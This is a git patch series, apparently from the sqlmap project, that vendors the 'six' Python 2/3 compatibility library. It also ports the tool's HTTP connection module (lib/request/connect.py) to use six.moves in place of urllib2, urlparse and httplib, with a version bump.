MovedAttribute("FTPHandler", "urllib2", "urllib.request"), + MovedAttribute("CacheFTPHandler", "urllib2", "urllib.request"), + MovedAttribute("UnknownHandler", "urllib2", "urllib.request"), + MovedAttribute("HTTPErrorProcessor", "urllib2", "urllib.request"), + MovedAttribute("urlretrieve", "urllib", "urllib.request"), + MovedAttribute("urlcleanup", "urllib", "urllib.request"), + MovedAttribute("URLopener", "urllib", "urllib.request"), + MovedAttribute("FancyURLopener", "urllib", "urllib.request"), + MovedAttribute("proxy_bypass", "urllib", "urllib.request"), + MovedAttribute("parse_http_list", "urllib2", "urllib.request"), + MovedAttribute("parse_keqv_list", "urllib2", "urllib.request"), +] +for attr in _urllib_request_moved_attributes: + setattr(Module_six_moves_urllib_request, attr.name, attr) +del attr + +Module_six_moves_urllib_request._moved_attributes = _urllib_request_moved_attributes + +_importer._add_module(Module_six_moves_urllib_request(__name__ + ".moves.urllib.request"), + "moves.urllib_request", "moves.urllib.request") + + +class Module_six_moves_urllib_response(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_response""" + + +_urllib_response_moved_attributes = [ + MovedAttribute("addbase", "urllib", "urllib.response"), + MovedAttribute("addclosehook", "urllib", "urllib.response"), + MovedAttribute("addinfo", "urllib", "urllib.response"), + MovedAttribute("addinfourl", "urllib", "urllib.response"), +] +for attr in _urllib_response_moved_attributes: + setattr(Module_six_moves_urllib_response, attr.name, attr) +del attr + +Module_six_moves_urllib_response._moved_attributes = _urllib_response_moved_attributes + +_importer._add_module(Module_six_moves_urllib_response(__name__ + ".moves.urllib.response"), + "moves.urllib_response", "moves.urllib.response") + + +class Module_six_moves_urllib_robotparser(_LazyModule): + + """Lazy loading of moved objects in six.moves.urllib_robotparser""" + + +_urllib_robotparser_moved_attributes = [ + MovedAttribute("RobotFileParser", "robotparser", "urllib.robotparser"), +] +for attr in _urllib_robotparser_moved_attributes: + setattr(Module_six_moves_urllib_robotparser, attr.name, attr) +del attr + +Module_six_moves_urllib_robotparser._moved_attributes = _urllib_robotparser_moved_attributes + +_importer._add_module(Module_six_moves_urllib_robotparser(__name__ + ".moves.urllib.robotparser"), + "moves.urllib_robotparser", "moves.urllib.robotparser") + + +class Module_six_moves_urllib(types.ModuleType): + + """Create a six.moves.urllib namespace that resembles the Python 3 namespace""" + __path__ = [] # mark as package + parse = _importer._get_module("moves.urllib_parse") + error = _importer._get_module("moves.urllib_error") + request = _importer._get_module("moves.urllib_request") + response = _importer._get_module("moves.urllib_response") + robotparser = _importer._get_module("moves.urllib_robotparser") + + def __dir__(self): + return ['parse', 'error', 'request', 'response', 'robotparser'] + +_importer._add_module(Module_six_moves_urllib(__name__ + ".moves.urllib"), + "moves.urllib") + + +def add_move(move): + """Add an item to six.moves.""" + setattr(_MovedItems, move.name, move) + + +def remove_move(name): + """Remove item from six.moves.""" + try: + delattr(_MovedItems, name) + except AttributeError: + try: + del moves.__dict__[name] + except KeyError: + raise AttributeError("no such move, %r" % (name,)) + + +if PY3: + _meth_func = "__func__" + _meth_self = "__self__" + + _func_closure = "__closure__" + _func_code = "__code__" + _func_defaults = "__defaults__" + _func_globals = "__globals__" +else: + _meth_func = "im_func" + _meth_self = "im_self" + + _func_closure = "func_closure" + _func_code = "func_code" + _func_defaults = "func_defaults" + _func_globals = "func_globals" + + +try: + advance_iterator = next +except NameError: + def advance_iterator(it): + return it.next() +next = advance_iterator + + +try: + callable = callable +except NameError: + def callable(obj): + return any("__call__" in klass.__dict__ for klass in type(obj).__mro__) + + +if PY3: + def get_unbound_function(unbound): + return unbound + + create_bound_method = types.MethodType + + def create_unbound_method(func, cls): + return func + + Iterator = object +else: + def get_unbound_function(unbound): + return unbound.im_func + + def create_bound_method(func, obj): + return types.MethodType(func, obj, obj.__class__) + + def create_unbound_method(func, cls): + return types.MethodType(func, None, cls) + + class Iterator(object): + + def next(self): + return type(self).__next__(self) + + callable = callable +_add_doc(get_unbound_function, + """Get the function out of a possibly unbound function""") + + +get_method_function = operator.attrgetter(_meth_func) +get_method_self = operator.attrgetter(_meth_self) +get_function_closure = operator.attrgetter(_func_closure) +get_function_code = operator.attrgetter(_func_code) +get_function_defaults = operator.attrgetter(_func_defaults) +get_function_globals = operator.attrgetter(_func_globals) + + +if PY3: + def iterkeys(d, **kw): + return iter(d.keys(**kw)) + + def itervalues(d, **kw): + return iter(d.values(**kw)) + + def iteritems(d, **kw): + return iter(d.items(**kw)) + + def iterlists(d, **kw): + return iter(d.lists(**kw)) + + viewkeys = operator.methodcaller("keys") + + viewvalues = operator.methodcaller("values") + + viewitems = operator.methodcaller("items") +else: + def iterkeys(d, **kw): + return d.iterkeys(**kw) + + def itervalues(d, **kw): + return d.itervalues(**kw) + + def iteritems(d, **kw): + return d.iteritems(**kw) + + def iterlists(d, **kw): + return d.iterlists(**kw) + + viewkeys = operator.methodcaller("viewkeys") + + viewvalues = operator.methodcaller("viewvalues") + + viewitems = operator.methodcaller("viewitems") + +_add_doc(iterkeys, "Return an iterator over the keys of a dictionary.") +_add_doc(itervalues, "Return an iterator over the values of a dictionary.") +_add_doc(iteritems, + "Return an iterator over the (key, value) pairs of a dictionary.") +_add_doc(iterlists, + "Return an iterator over the (key, [values]) pairs of a dictionary.") + + +if PY3: + def b(s): + return s.encode("latin-1") + + def u(s): + return s + unichr = chr + import struct + int2byte = struct.Struct(">B").pack + del struct + byte2int = operator.itemgetter(0) + indexbytes = operator.getitem + iterbytes = iter + import io + StringIO = io.StringIO + BytesIO = io.BytesIO + _assertCountEqual = "assertCountEqual" + if sys.version_info[1] <= 1: + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" + else: + _assertRaisesRegex = "assertRaisesRegex" + _assertRegex = "assertRegex" +else: + def b(s): + return s + # Workaround for standalone backslash + + def u(s): + return unicode(s.replace(r'\\', r'\\\\'), "unicode_escape") + unichr = unichr + int2byte = chr + + def byte2int(bs): + return ord(bs[0]) + + def indexbytes(buf, i): + return ord(buf[i]) + iterbytes = functools.partial(itertools.imap, ord) + import StringIO + StringIO = BytesIO = StringIO.StringIO + _assertCountEqual = "assertItemsEqual" + _assertRaisesRegex = "assertRaisesRegexp" + _assertRegex = "assertRegexpMatches" +_add_doc(b, """Byte literal""") +_add_doc(u, """Text literal""") + + +def assertCountEqual(self, *args, **kwargs): + return getattr(self, _assertCountEqual)(*args, **kwargs) + + +def assertRaisesRegex(self, *args, **kwargs): + return getattr(self, _assertRaisesRegex)(*args, **kwargs) + + +def assertRegex(self, *args, **kwargs): + return getattr(self, _assertRegex)(*args, **kwargs) + + +if PY3: + exec_ = getattr(moves.builtins, "exec") + + def reraise(tp, value, tb=None): + try: + if value is None: + value = tp() + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value + finally: + value = None + tb = None + +else: + def exec_(_code_, _globs_=None, _locs_=None): + """Execute code in a namespace.""" + if _globs_ is None: + frame = sys._getframe(1) + _globs_ = frame.f_globals + if _locs_ is None: + _locs_ = frame.f_locals + del frame + elif _locs_ is None: + _locs_ = _globs_ + exec("""exec _code_ in _globs_, _locs_""") + + exec_("""def reraise(tp, value, tb=None): + try: + raise tp, value, tb + finally: + tb = None +""") + + +if sys.version_info[:2] == (3, 2): + exec_("""def raise_from(value, from_value): + try: + if from_value is None: + raise value + raise value from from_value + finally: + value = None +""") +elif sys.version_info[:2] > (3, 2): + exec_("""def raise_from(value, from_value): + try: + raise value from from_value + finally: + value = None +""") +else: + def raise_from(value, from_value): + raise value + + +print_ = getattr(moves.builtins, "print", None) +if print_ is None: + def print_(*args, **kwargs): + """The new-style print function for Python 2.4 and 2.5.""" + fp = kwargs.pop("file", sys.stdout) + if fp is None: + return + + def write(data): + if not isinstance(data, basestring): + data = str(data) + # If the file has an encoding, encode unicode with it. + if (isinstance(fp, file) and + isinstance(data, unicode) and + fp.encoding is not None): + errors = getattr(fp, "errors", None) + if errors is None: + errors = "strict" + data = data.encode(fp.encoding, errors) + fp.write(data) + want_unicode = False + sep = kwargs.pop("sep", None) + if sep is not None: + if isinstance(sep, unicode): + want_unicode = True + elif not isinstance(sep, str): + raise TypeError("sep must be None or a string") + end = kwargs.pop("end", None) + if end is not None: + if isinstance(end, unicode): + want_unicode = True + elif not isinstance(end, str): + raise TypeError("end must be None or a string") + if kwargs: + raise TypeError("invalid keyword arguments to print()") + if not want_unicode: + for arg in args: + if isinstance(arg, unicode): + want_unicode = True + break + if want_unicode: + newline = unicode("\n") + space = unicode(" ") + else: + newline = "\n" + space = " " + if sep is None: + sep = space + if end is None: + end = newline + for i, arg in enumerate(args): + if i: + write(sep) + write(arg) + write(end) +if sys.version_info[:2] < (3, 3): + _print = print_ + + def print_(*args, **kwargs): + fp = kwargs.get("file", sys.stdout) + flush = kwargs.pop("flush", False) + _print(*args, **kwargs) + if flush and fp is not None: + fp.flush() + +_add_doc(reraise, """Reraise an exception.""") + +if sys.version_info[0:2] < (3, 4): + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + def wrapper(f): + f = functools.wraps(wrapped, assigned, updated)(f) + f.__wrapped__ = wrapped + return f + return wrapper +else: + wraps = functools.wraps + + +def with_metaclass(meta, *bases): + """Create a base class with a metaclass.""" + # This requires a bit of explanation: the basic idea is to make a dummy + # metaclass for one level of class instantiation that replaces itself with + # the actual metaclass. + class metaclass(type): + + def __new__(cls, name, this_bases, d): + return meta(name, bases, d) + + @classmethod + def __prepare__(cls, name, this_bases): + return meta.__prepare__(name, bases) + return type.__new__(metaclass, 'temporary_class', (), {}) + + +def add_metaclass(metaclass): + """Class decorator for creating a class with a metaclass.""" + def wrapper(cls): + orig_vars = cls.__dict__.copy() + slots = orig_vars.get('__slots__') + if slots is not None: + if isinstance(slots, str): + slots = [slots] + for slots_var in slots: + orig_vars.pop(slots_var) + orig_vars.pop('__dict__', None) + orig_vars.pop('__weakref__', None) + if hasattr(cls, '__qualname__'): + orig_vars['__qualname__'] = cls.__qualname__ + return metaclass(cls.__name__, cls.__bases__, orig_vars) + return wrapper + + +def ensure_binary(s, encoding='utf-8', errors='strict'): + """Coerce **s** to six.binary_type. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> encoded to `bytes` + - `bytes` -> `bytes` + """ + if isinstance(s, text_type): + return s.encode(encoding, errors) + elif isinstance(s, binary_type): + return s + else: + raise TypeError("not expecting type '%s'" % type(s)) + + +def ensure_str(s, encoding='utf-8', errors='strict'): + """Coerce *s* to `str`. + + For Python 2: + - `unicode` -> encoded to `str` + - `str` -> `str` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + if not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) + if PY2 and isinstance(s, text_type): + s = s.encode(encoding, errors) + elif PY3 and isinstance(s, binary_type): + s = s.decode(encoding, errors) + return s + + +def ensure_text(s, encoding='utf-8', errors='strict'): + """Coerce *s* to six.text_type. + + For Python 2: + - `unicode` -> `unicode` + - `str` -> `unicode` + + For Python 3: + - `str` -> `str` + - `bytes` -> decoded to `str` + """ + if isinstance(s, binary_type): + return s.decode(encoding, errors) + elif isinstance(s, text_type): + return s + else: + raise TypeError("not expecting type '%s'" % type(s)) + + + +def python_2_unicode_compatible(klass): + """ + A decorator that defines __unicode__ and __str__ methods under Python 2. + Under Python 3 it does nothing. + + To support Python 2 and 3 with a single code base, define a __str__ method + returning text and apply this decorator to the class. + """ + if PY2: + if '__str__' not in klass.__dict__: + raise ValueError("@python_2_unicode_compatible cannot be applied " + "to %s because it doesn't define __str__()." % + klass.__name__) + klass.__unicode__ = klass.__str__ + klass.__str__ = lambda self: self.__unicode__().encode('utf-8') + return klass + + +# Complete the moves implementation. +# This code is at the end of this module to speed up module loading. +# Turn this module into a package. +__path__ = [] # required for PEP 302 and PEP 451 +__package__ = __name__ # see PEP 366 @ReservedAssignment +if globals().get("__spec__") is not None: + __spec__.submodule_search_locations = [] # PEP 451 @UndefinedVariable +# Remove other six meta path importers, since they cause problems. This can +# happen if six is removed from sys.modules and then reloaded. (Setuptools does +# this for some reason.) +if sys.meta_path: + for i, importer in enumerate(sys.meta_path): + # Here's some real nastiness: Another "instance" of the six module might + # be floating around. Therefore, we can't use isinstance() to check for + # the six meta path importer, since the other six instance will have + # inserted an importer with different class. + if (type(importer).__name__ == "_SixMetaPathImporter" and + importer.name == __name__): + del sys.meta_path[i] + break + del i, importer +# Finally, add the importer to the meta path import hook. +sys.meta_path.append(_importer) From df5a5c6fe8c624305598cb5f3c61e607913e6c4d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar <miroslav.stampar@gmail.com> Date: Wed, 27 Mar 2019 02:46:59 +0100 Subject: [PATCH 178/800] First official usage of 'six' --- lib/core/settings.py | 2 +- lib/request/connect.py | 45 +- thirdparty/six/__init__.py | 952 +++++++++++++++++++++++++++++++++++++ thirdparty/six/six.py | 952 ------------------------------------- 4 files changed, 974 insertions(+), 977 deletions(-) delete mode 100644 thirdparty/six/six.py diff --git a/lib/core/settings.py b/lib/core/settings.py index e96d5bfbbd0..e3d110de5e4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (<major>.<minor>.<month>.<monthly commit>) -VERSION = "1.3.3.53" +VERSION = "1.3.3.54" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index e41beddfa31..c050a81b827 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -6,8 +6,6 @@ """ import binascii -import compiler -import httplib import logging import re import socket @@ -15,9 +13,6 @@ import struct import time import traceback -import urllib -import urllib2 -import urlparse try: import websocket @@ -125,6 +120,8 @@ class WebSocketException(Exception): from lib.request.comparison import comparison from lib.request.methodrequest import MethodRequest from thirdparty.odict import OrderedDict +from thirdparty.six.moves import http_client as _http_client +from thirdparty.six.moves import urllib as _urllib from thirdparty.socks.socks import ProxyError class Connect(object): @@ -279,13 +276,13 @@ def getPage(**kwargs): post = multipart if chunked and post: - post = urllib.unquote(post) + post = _urllib.parse.unquote(post) post = chunkSplitPostData(post) websocket_ = url.lower().startswith("ws") - if not urlparse.urlsplit(url).netloc: - url = urlparse.urljoin(conf.url, url) + if not _urllib.parse.urlsplit(url).netloc: + url = _urllib.parse.urljoin(conf.url, url) # flag to know if we are dealing with the same target host target = checkSameHost(url, conf.url) @@ -306,7 +303,7 @@ def getPage(**kwargs): code = None status = None - _ = urlparse.urlsplit(url) + _ = _urllib.parse.urlsplit(url) requestMsg = u"HTTP request [#%d]:\r\n%s " % (threadData.lastRequestUID, method or (HTTPMETHOD.POST if post is not None else HTTPMETHOD.GET)) requestMsg += getUnicode(("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) if not any((refreshing, crawling, checking)) else url) responseMsg = u"HTTP response " @@ -334,7 +331,7 @@ def getPage(**kwargs): pass elif target: - if conf.forceSSL and urlparse.urlparse(url).scheme != "https": + if conf.forceSSL and _urllib.parse.urlparse(url).scheme != "https": url = re.sub(r"(?i)\Ahttp:", "https:", url) url = re.sub(r"(?i):80/", ":443/", url) @@ -359,7 +356,7 @@ def getPage(**kwargs): url = "%s?%s" % (url, get) requestMsg += "?%s" % get - requestMsg += " %s" % httplib.HTTPConnection._http_vsn_str + requestMsg += " %s" % _http_client.HTTPConnection._http_vsn_str # Prepare HTTP headers headers = forgeHeaders({HTTP_HEADER.COOKIE: cookie, HTTP_HEADER.USER_AGENT: ua, HTTP_HEADER.REFERER: referer, HTTP_HEADER.HOST: host}, base=None if target else {}) @@ -453,7 +450,7 @@ class _(dict): req = MethodRequest(url, post, headers) req.set_method(method) elif url is not None: - req = urllib2.Request(url, post, headers) + req = _urllib.request.Request(url, post, headers) else: return None, None, None @@ -492,7 +489,7 @@ class _(dict): for char in (r"\r", r"\n"): cookie.value = re.sub(r"(%s)([^ \t])" % char, r"\g<1>\t\g<2>", cookie.value) - conn = urllib2.urlopen(req) + conn = _urllib.request.urlopen(req) if not kb.authHeader and getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) and (conf.authType or "").lower() == AUTH_TYPE.BASIC.lower(): kb.authHeader = getRequestHeader(req, HTTP_HEADER.AUTHORIZATION) @@ -548,7 +545,7 @@ class _(dict): if re.search(r"\Ahttps?://", refresh, re.I): url = refresh else: - url = urlparse.urljoin(url, refresh) + url = _urllib.parse.urljoin(url, refresh) threadData.lastRedirectMsg = (threadData.lastRequestUID, page) kwargs["refreshing"] = True @@ -580,7 +577,7 @@ class _(dict): else: raise - except urllib2.HTTPError as ex: + except _urllib.error.HTTPError as ex: page = None responseHeaders = None @@ -629,18 +626,18 @@ class _(dict): logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) if ex.code != conf.ignoreCode: - if ex.code == httplib.UNAUTHORIZED: + if ex.code == _http_client.UNAUTHORIZED: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise SqlmapConnectionException(errMsg) - elif ex.code == httplib.NOT_FOUND: + elif ex.code == _http_client.NOT_FOUND: if raise404: errMsg = "page not found (%d)" % code raise SqlmapConnectionException(errMsg) else: debugMsg = "page not found (%d)" % code singleTimeLogMessage(debugMsg, logging.DEBUG) - elif ex.code == httplib.GATEWAY_TIMEOUT: + elif ex.code == _http_client.GATEWAY_TIMEOUT: if ignoreTimeout: return None if not conf.ignoreTimeouts else "", None, None else: @@ -658,7 +655,7 @@ class _(dict): debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError): + except (_urllib.error.URLError, socket.error, socket.timeout, _http_client.HTTPException, struct.error, binascii.Error, ProxyError, SqlmapCompressionException, WebSocketException, TypeError, ValueError, OverflowError): tbMsg = traceback.format_exc() if checking: @@ -771,7 +768,7 @@ class _(dict): processResponse(page, responseHeaders, status) if conn and getattr(conn, "redurl", None): - _ = urlparse.urlsplit(conn.redurl) + _ = _urllib.parse.urlsplit(conn.redurl) _ = ("%s%s" % (_.path or "/", ("?%s" % _.query) if _.query else "")) requestMsg = re.sub(r"(\n[A-Z]+ ).+?( HTTP/\d)", r"\g<1>%s\g<2>" % getUnicode(_).replace("\\", "\\\\"), requestMsg, 1) @@ -1027,7 +1024,7 @@ def _adjustParameter(paramString, parameter, newValue): token.value = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) if not token: - if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == httplib.OK: + if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK: if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): token.name = conf.csrfToken token.value = page @@ -1093,7 +1090,7 @@ def _randomizeParameter(paramString, randomParameter): originals = {} if not get and PLACE.URI in conf.parameters: - query = urlparse.urlsplit(uri).query or "" + query = _urllib.parse.urlsplit(uri).query or "" else: query = None @@ -1121,7 +1118,7 @@ def _randomizeParameter(paramString, randomParameter): while True: try: - compiler.parse(unicodeencode(conf.evalCode.replace(';', '\n'))) + compile(unicodeencode(conf.evalCode.replace(';', '\n')), "", "exec") except SyntaxError as ex: if ex.text: original = replacement = ex.text.strip() @@ -1303,7 +1300,7 @@ def _randomizeParameter(paramString, randomParameter): if conf.secondUrl: page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) - elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""): + elif kb.secondReq and IPS_WAF_CHECK_PAYLOAD not in _urllib.parse.unquote(value or ""): def _(value): if kb.customInjectionMark in (value or ""): if payload is None: diff --git a/thirdparty/six/__init__.py b/thirdparty/six/__init__.py index e69de29bb2d..89b2188fd63 100644 --- a/thirdparty/six/__init__.py +++ b/thirdparty/six/__init__.py @@ -0,0 +1,952 @@ +# Copyright (c) 2010-2018 Benjamin Peterson +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +"""Utilities for writing code that runs on Python 2 and 3""" + +from __future__ import absolute_import + +import functools +import itertools +import operator +import sys +import types + +__author__ = "Benjamin Peterson <benjamin@python.org>" +__version__ = "1.12.0" + + +# Useful for very coarse version differentiation. +PY2 = sys.version_info[0] == 2 +PY3 = sys.version_info[0] == 3 +PY34 = sys.version_info[0:2] >= (3, 4) + +if PY3: + string_types = str, + integer_types = int, + class_types = type, + text_type = str + binary_type = bytes + + MAXSIZE = sys.maxsize +else: + string_types = basestring, + integer_types = (int, long) + class_types = (type, types.ClassType) + text_type = unicode + binary_type = str + + if sys.platform.startswith("java"): + # Jython always uses 32 bits. + MAXSIZE = int((1 << 31) - 1) + else: + # It's possible to have sizeof(long) != sizeof(Py_ssize_t). + class X(object): + + def __len__(self): + return 1 << 31 + try: + len(X()) + except OverflowError: + # 32-bit + MAXSIZE = int((1 << 31) - 1) + else: + # 64-bit + MAXSIZE = int((1 << 63) - 1) + del X + + +def _add_doc(func, doc): + """Add documentation to a function.""" + func.__doc__ = doc + + +def _import_module(name): + """Import module, returning the module after the last dot.""" + __import__(name) + return sys.modules[name] + + +class _LazyDescr(object): + + def __init__(self, name): + self.name = name + + def __get__(self, obj, tp): + result = self._resolve() + setattr(obj, self.name, result) # Invokes __set__. + try: + # This is a bit ugly, but it avoids running this again by + # removing this descriptor. + delattr(obj.__class__, self.name) + except AttributeError: + pass + return result + + +class MovedModule(_LazyDescr): + + def __init__(self, name, old, new=None): + super(MovedModule, self).__init__(name) + if PY3: + if new is None: + new = name + self.mod = new + else: + self.mod = old + + def _resolve(self): + return _import_module(self.mod) + + def __getattr__(self, attr): + _module = self._resolve() + value = getattr(_module, attr) + setattr(self, attr, value) + return value + + +class _LazyModule(types.ModuleType): + + def __init__(self, name): + super(_LazyModule, self).__init__(name) + self.__doc__ = self.__class__.__doc__ + + def __dir__(self): + attrs = ["__doc__", "__name__"] + attrs += [attr.name for attr in self._moved_attributes] + return attrs + + # Subclasses should override this + _moved_attributes = [] + + +class MovedAttribute(_LazyDescr): + + def __init__(self, name, old_mod, new_mod, old_attr=None, new_attr=None): + super(MovedAttribute, self).__init__(name) + if PY3: + if new_mod is None: + new_mod = name + self.mod = new_mod + if new_attr is None: + if old_attr is None: + new_attr = name + else: + new_attr = old_attr + self.attr = new_attr + else: + self.mod = old_mod + if old_attr is None: + old_attr = name + self.attr = old_attr + + def _resolve(self): + module = _import_module(self.mod) + return getattr(module, self.attr) + + +class _SixMetaPathImporter(object): + + """ + A meta path importer to import six.moves and its submodules. + + This class implements a PEP302 finder and loader. It should be compatible + with Python 2.5 and all existing versions of Python3 + """ + + def __init__(self, six_module_name): + self.name = six_module_name + self.known_modules = {} + + def _add_module(self, mod, *fullnames): + for fullname in fullnames: + self.known_modules[self.name + "." + fullname] = mod + + def _get_module(self, fullname): + return self.known_modules[self.name + "." + fullname] + + def find_module(self, fullname, path=None): + if fullname in self.known_modules: + return self + return None + + def __get_module(self, fullname): + try: + return self.known_modules[fullname] + except KeyError: + raise ImportError("This loader does not know module " + fullname) + + def load_module(self, fullname): + try: + # in case of a reload + return sys.modules[fullname] + except KeyError: + pass + mod = self.__get_module(fullname) + if isinstance(mod, MovedModule): + mod = mod._resolve() + else: + mod.__loader__ = self + sys.modules[fullname] = mod + return mod + + def is_package(self, fullname): + """ + Return true, if the named module is a package. + + We need this method to get correct spec objects with + Python 3.4 (see PEP451) + """ + return hasattr(self.__get_module(fullname), "__path__") + + def get_code(self, fullname): + """Return None + + Required, if is_package is implemented""" + self.__get_module(fullname) # eventually raises ImportError + return None + get_source = get_code # same as get_code + +_importer = _SixMetaPathImporter(__name__) + + +class _MovedItems(_LazyModule): + + """Lazy loading of moved objects""" + __path__ = [] # mark as package + + +_moved_attributes = [ + MovedAttribute("cStringIO", "cStringIO", "io", "StringIO"), + MovedAttribute("filter", "itertools", "builtins", "ifilter", "filter"), + MovedAttribute("filterfalse", "itertools", "itertools", "ifilterfalse", "filterfalse"), + MovedAttribute("input", "__builtin__", "builtins", "raw_input", "input"), + MovedAttribute("intern", "__builtin__", "sys"), + MovedAttribute("map", "itertools", "builtins", "imap", "map"), + MovedAttribute("getcwd", "os", "os", "getcwdu", "getcwd"), + MovedAttribute("getcwdb", "os", "os", "getcwd", "getcwdb"), + MovedAttribute("getoutput", "commands", "subprocess"), + MovedAttribute("range", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("reload_module", "__builtin__", "importlib" if PY34 else "imp", "reload"), + MovedAttribute("reduce", "__builtin__", "functools"), + MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), + MovedAttribute("StringIO", "StringIO", "io"), + MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserList", "UserList", "collections"), + MovedAttribute("UserString", "UserString", "collections"), + MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), + MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), + MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), + MovedModule("builtins", "__builtin__"), + MovedModule("configparser", "ConfigParser"), + MovedModule("copyreg", "copy_reg"), + MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), + MovedModule("http_cookies", "Cookie", "http.cookies"), + MovedModule("html_entities", "htmlentitydefs", "html.entities"), + MovedModule("html_parser", "HTMLParser", "html.parser"), + MovedModule("http_client", "httplib", "http.client"), + MovedModule("email_mime_base", "email.MIMEBase", "email.mime.base"), + MovedModule("email_mime_image", "email.MIMEImage", "email.mime.image"), + MovedModule("email_mime_multipart", "email.MIMEMultipart", "email.mime.multipart"), + MovedModule("email_mime_nonmultipart", "email.MIMENonMultipart", "email.mime.nonmultipart"), + MovedModule("email_mime_text", "email.MIMEText", "email.mime.text"), + MovedModule("BaseHTTPServer", "BaseHTTPServer", "http.server"), + MovedModule("CGIHTTPServer", "CGIHTTPServer", "http.server"), + MovedModule("SimpleHTTPServer", "SimpleHTTPServer", "http.server"), + MovedModule("cPickle", "cPickle", "pickle"), + MovedModule("queue", "Queue"), + MovedModule("reprlib", "repr"), + MovedModule("socketserver", "SocketServer"), + MovedModule("_thread", "thread", "_thread"), + MovedModule("tkinter", "Tkinter"), + MovedModule("tkinter_dialog", "Dialog", "tkinter.dialog"), + MovedModule("tkinter_filedialog", "FileDialog", "tkinter.filedialog"), + MovedModule("tkinter_scrolledtext", "ScrolledText", "tkinter.scrolledtext"), + MovedModule("tkinter_simpledialog", "SimpleDialog", "tkinter.simpledialog"), + MovedModule("tkinter_tix", "Tix", "tkinter.tix"), + MovedModule("tkinter_ttk", "ttk", "tkinter.ttk"), + MovedModule("tkinter_constants", "Tkconstants", "tkinter.constants"), + MovedModule("tkinter_dnd", "Tkdnd", "tkinter.dnd"), + MovedModule("tkinter_colorchooser", "tkColorChooser", + "tkinter.colorchooser"), + MovedModule("tkinter_commondialog", "tkCommonDialog", + "tkinter.commondialog"), + MovedModule("tkinter_tkfiledialog", "tkFileDialog", "tkinter.filedialog"), + MovedModule("tkinter_font", "tkFont", "tkinter.font"), + MovedModule("tkinter_messagebox", "tkMessageBox", "tkinter.messagebox"), + MovedModule("tkinter_tksimpledialog", "tkSimpleDialog", + "tkinter.simpledialog"), + MovedModule("urllib_parse", __name__ + ".moves.urllib_parse", "urllib.parse"), + MovedModule("urllib_error", __name__ + ".moves.urllib_error", "urllib.error"), + MovedModule("urllib", __name__ + ".moves.urllib", __name__ + ".moves.urllib"), + MovedModule("urllib_robotparser", "robotparser", "urllib.robotparser"), + MovedModule("xmlrpc_client", "xmlrpclib", "xmlrpc.client"), + MovedModule("xmlrpc_server", "SimpleXMLRPCServer", "xmlrpc.server"), +] +# Add windows specific modules. +if sys.platform == "win32": + _moved_attributes += [ + MovedModule("winreg", "_winreg"), + ] + +for attr in _moved_attributes: + setattr(_MovedItems, attr.name, attr) + if isinstance(attr, MovedModule): + _importer._add_module(attr, "moves." + attr.name) +del attr + +_MovedItems._moved_attributes = _moved_attributes + +moves = _MovedItems(__name__ + ".moves") +_importer._add_module(moves, "moves") + + +class Module_six_moves_urllib_parse(_LazyModule): + + """Lazy loading of moved objects in 